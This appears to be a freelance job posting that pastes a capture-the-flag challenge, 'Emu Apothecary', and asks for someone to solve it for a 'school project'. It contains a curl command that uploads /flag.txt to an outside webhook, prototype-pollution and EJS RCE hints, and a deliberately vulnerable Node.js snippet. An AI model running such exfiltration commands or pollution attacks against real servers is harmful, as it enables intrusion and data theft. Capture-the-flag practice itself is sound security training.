Advanced NodeJS & JS Programmer Needed with RCE experience to inject and execute curl in server

Job ID: 38121720

Budget: $10 – $30 USD

I'm looking for an experienced NodeJS and JavaScript programmer to help me with a school project focused on exploring cybersecurity concepts.

Key Requirements:
- The task involves writing a client request to obtain a flag from a vulnerability site with advanced complexity (e.g., bypassing security measures).
- The project involves emphasizing on Remote Code Execution (RCE) and pollution while interacting with the vulnerability site, so experience in these areas is a plus.

---
Challenge
Name: Emu Apothecary

Category: Vulnerabilities



Description
has just opened up their potion brewing website for other Emus to create new potion recipes! However, they are afraid that one of the human hackers will pollute their ingredients.

Can you get Remote Code Execution (RCE) on the Emu Apothecary's website?

Below are the steps on creating the terminal command you want to execute on the website:

Visit https://webhook.site/ to create a new webhook for receiving incoming web requests.
Copy your unique URL from the webhook website and replace {webhook} in the following terminal command. This is the command that you want to execute on the website that will send /flag.txt to your webhook.
curl -F flag=@/flag.txt {webhook}
To connect to the challenge go to http://34.87.251.234:8001

hint 1:
You can pollute NodeJS applications, Alex did a talk about it and the slides are available to read at https://www.ghostccamm.com/slides/nodejs-objects where the important slides for this challenge are 17-53.

hint2:
The web application is using the EJS template engine for rendering templates. Alex talked about a Prototype Pollution gadget that could be exploited to get RCE when EJS renders a template, you should check the link to an article and read the last bit.
https://docs.google.com/presentation/d/1Ae38Nv6mUntog3AIcI9m_IuBfoxBWoEsw7njI2x8EX0/edit#slide=id.g22e32f4d19a_0_16

hint3:
The format of the payload is slightly different to the payload in the referenced article in the second hint.

The following code snippet will help you figure out how your payload should be formatted.

for (const key in userInput) {
// Input is in the format of {ingredientName}.{attribute}
if (!key.includes(".")) continue
// Split the key name by the '.' character
const split = key.split('.')
// Set the attribute for the ingredient by the first two dots
// E.g. if the input is vinegar.type=mL it will set
// {"vinegar": {"type": "mL"}} in the baseIngredients variable
const ingredientName = split[0]
if (typeof baseIngredients[ingredientName] === "undefined") {
baseIngredients[ingredientName] = {}
}
const ingredientAttribute = split[1];
// Should be completely secure doing this???
// I don't think the hoomans can pollute anything by assigning attributes this way
// Yeah I am pretty sure this is not vulnerable to prototype pollution
// I am not merging anything right???
baseIngredients[ingredientName][ingredientAttribute] = userInput[key];
}
Related categories: JavaScript Node.js